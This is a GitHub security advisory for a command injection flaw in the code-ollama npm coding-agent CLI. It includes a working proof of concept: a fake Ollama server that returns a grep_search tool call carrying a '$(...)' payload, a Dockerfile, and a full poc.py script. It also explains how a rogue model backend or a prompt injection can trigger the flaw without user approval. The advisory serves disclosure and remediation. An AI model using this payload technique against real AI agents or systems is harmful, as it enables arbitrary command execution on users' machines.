{"id":"GHSA-456v-xq2p-r4cj","title":"code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)","summary":"code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)","severity":"high","cvss":7.8,"cwe":["CWE-78"],"vendor":"code-ollama","product":"code-ollama","ecosystem":"npm","affected":["code-ollama <= 0.36.0"],"patched":["code-ollama 0.36.1"],"published":"2026-09-28","updated":"2026-09-28","sourceUpdated":"2026-09-28T13:59:47Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-456v-xq2p-r4cj","references":[{"url":"https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"},{"url":"https://github.com/advisories/GHSA-456v-xq2p-r4cj"}],"tags":["ghsa","npm"],"ingestedAt":"2026-09-28T14:12:02.161Z","slug":"GHSA-456v-xq2p-r4cj","body":"## Overview\n\n## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n  .replace(/\\\\/g, '\\\\\\\\')\n  .replace(/\"/g, '\\\\\"');\nconst escapedDirPath = dirPath.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n\nconst { stdout } = await execShell(\n  `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source → sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 — Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'\n```\n\n**Step 2 — Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 — start the malicious Ollama server\ncat > /tmp/fake-ollama.py <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n    def do_POST(self):\n        global _req\n        l = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(l)\n        with _lock:\n            _req += 1; n = _req\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n        if n == 1:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n                \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n                    \"arguments\":{\"pattern\":\"$(id>/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n                \"done\":True,\"done_reason\":\"stop\"}\n        else:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n                \"done\":True,\"done_reason\":\"stop\"}\n        self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n        self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py &\n\n# Terminal 2 — run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence   # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id>/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from '../shell';\n+import { execFile } from '../../node';\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n-      const escapedPattern = searchPattern\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-      const escapedDirPath = dirPath\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-\n-      const { stdout } = await execShell(\n-        `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n-      );\n+      const { stdout } = await execFile(\n+        'rg',\n+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],\n+        RG_EXEC_OPTIONS,\n+      );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection — CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n#   docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep  — required by grepSearch() in the vulnerable code path\n# python3  — runs poc.py orchestration script\nRUN apt-get update && apt-get install -y \\\n    ripgrep \\\n    python3 \\\n    --no-install-recommends \\\n && rm -rf /var/lib/apt/lists/*\n\n# ── Install Node dependencies ──────────────────────────────────────────────────\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# ── Copy source and build ──────────────────────────────────────────────────────\nCOPY repo/ ./\n# Produces /app/dist/cli.js — the bundled CLI entrypoint\nRUN npm run build\n\n# ── Runtime setup ─────────────────────────────────────────────────────────────\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 — grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink       : src/utils/tools/filesystem/grep.ts:65\n             execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -> tool_call.arguments.pattern\n             -> grepSearch() -> execShell() -> child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n    python3 /poc.py\n\nExpected outcome:\n    /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command — used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama's\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id>{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n    \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n    First POST /api/chat  -> returns a grep_search tool_call carrying the\n                             injected pattern.\n    Subsequent POSTs      -> return a plain done response to terminate the\n                             code-ollama tool-loop.\n    \"\"\"\n\n    def log_message(self, fmt, *args):  # suppress default request logging\n        pass\n\n    # ------------------------------------------------------------------\n    # GET — health-check (code-ollama / ollama-npm may call GET /)\n    # ------------------------------------------------------------------\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n\n    # ------------------------------------------------------------------\n    # POST — chat streaming endpoint\n    # ------------------------------------------------------------------\n    def do_POST(self):\n        global _request_count\n\n        # Consume request body to avoid broken-pipe on the client side\n        content_length = int(self.headers.get(\"Content-Length\", 0))\n        _ = self.rfile.read(content_length)\n\n        with _request_lock:\n            _request_count += 1\n            current_request = _request_count\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n\n        if current_request == 1:\n            # ---------------------------------------------------------------\n            # First request: inject malicious grep_search tool call\n            # The `arguments` object is passed verbatim through the ollama-npm\n            # library and reaches grepSearch(pattern, path) in grep.ts.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  f\"sending malicious grep_search tool_call\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"\",\n                    \"tool_calls\": [{\n                        \"function\": {\n                            \"name\": \"grep_search\",\n                            # pattern and path are the two required string args\n                            # validated by validateArgs() in dispatcher.ts\n                            \"arguments\": {\n                                \"pattern\": INJECTED_CMD,\n                                \"path\": TARGET_PATH,\n                            },\n                        }\n                    }],\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n        else:\n            # ---------------------------------------------------------------\n            # Subsequent requests: plain text to terminate the tool loop.\n            # No tool_calls -> nextMessages stays null -> processRunStream\n            # returns after checking hasUncalledToolIntent (no match on\n            # \"Done.\") so the CLI exits cleanly.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  \"sending done/stop response\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"Done.\",\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n\n        self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n        self.wfile.flush()\n\n\ndef start_fake_server():\n    \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n    print(\"=\" * 65)\n    print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n    print(\"Target : ai-action/code-ollama v0.36.0\")\n    print(\"Sink   : src/utils/tools/filesystem/grep.ts:65\")\n    print(\"=\" * 65)\n    print()\n    print(f\"[*] Payload  : {INJECTED_CMD}\")\n    print(f\"[*] Marker   : {MARKER_FILE}\")\n    print()\n\n    # Clean up any leftover marker from a previous run\n    if os.path.exists(MARKER_FILE):\n        os.unlink(MARKER_FILE)\n        print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n    # -----------------------------------------------------------------------\n    # 1. Start the fake Ollama server\n    # -----------------------------------------------------------------------\n    print(f\"[*] Starting fake Ollama server on \"\n          f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n    start_fake_server()\n    time.sleep(0.4)   # give the server socket time to bind\n\n    # -----------------------------------------------------------------------\n    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n    # -----------------------------------------------------------------------\n    env = os.environ.copy()\n    env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n    cmd = [\n        \"node\", \"/app/dist/cli.js\",\n        \"run\", \"--trust\", \"fake\", \"search the code\",\n    ]\n\n    print(f\"[*] Executing: {' '.join(cmd)}\")\n    print(f\"[*] OLLAMA_HOST={env['OLLAMA_HOST']}\")\n    print()\n\n    try:\n        result = subprocess.run(\n            cmd,\n            env=env,\n            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed\n            capture_output=True,\n            text=True,\n            timeout=60,\n            cwd=\"/workspace\",\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] code-ollama subprocess timed out after 60 s\")\n        sys.exit(1)\n\n    print(\"--- code-ollama stdout ---\")\n    print(result.stdout[:3000] if result.stdout else \"(empty)\")\n    print(\"--- code-ollama stderr ---\")\n    print(result.stderr[:3000] if result.stderr else \"(empty)\")\n    print(f\"--- exit code: {result.returncode} ---\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # 3. Verify exploitation: check for the marker file\n    # -----------------------------------------------------------------------\n    if os.path.exists(MARKER_FILE):\n        evidence = open(MARKER_FILE).read().strip()\n        print(\"[+] ============================================================\")\n        print(\"[+] EXPLOITATION CONFIRMED\")\n        print(\"[+] ============================================================\")\n        print(f\"[+] Marker file : {MARKER_FILE}\")\n        print(f\"[+] Contents    : {evidence!r}\")\n        print(\"[+] Explanation : The $() command substitution inside the\")\n        print(\"[+]   grep_search pattern was NOT escaped by code-ollama's\")\n        print(\"[+]   sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n        print(\"[+]   execShell() passed the raw string to child_process.exec()\")\n        print(\"[+]   which ran it through /bin/sh, executing the injected\")\n        print(\"[+]   command as the current user.\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] ============================================================\")\n        print(\"[-] EXPLOITATION FAILED\")\n        print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n        print(\"[-] Possible causes:\")\n        print(\"[-]   - ollama-npm parsed tool_call.arguments differently\")\n        print(\"[-]   - The pattern was sanitized before reaching execShell()\")\n        print(\"[-]   - ripgrep is not installed so the fallback path was taken\")\n        print(\"[-]   - The shell used does not support $() substitution\")\n        print(\"[-] ============================================================\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Affected packages\n\n- `code-ollama <= 0.36.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code-ollama 0.36.1`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}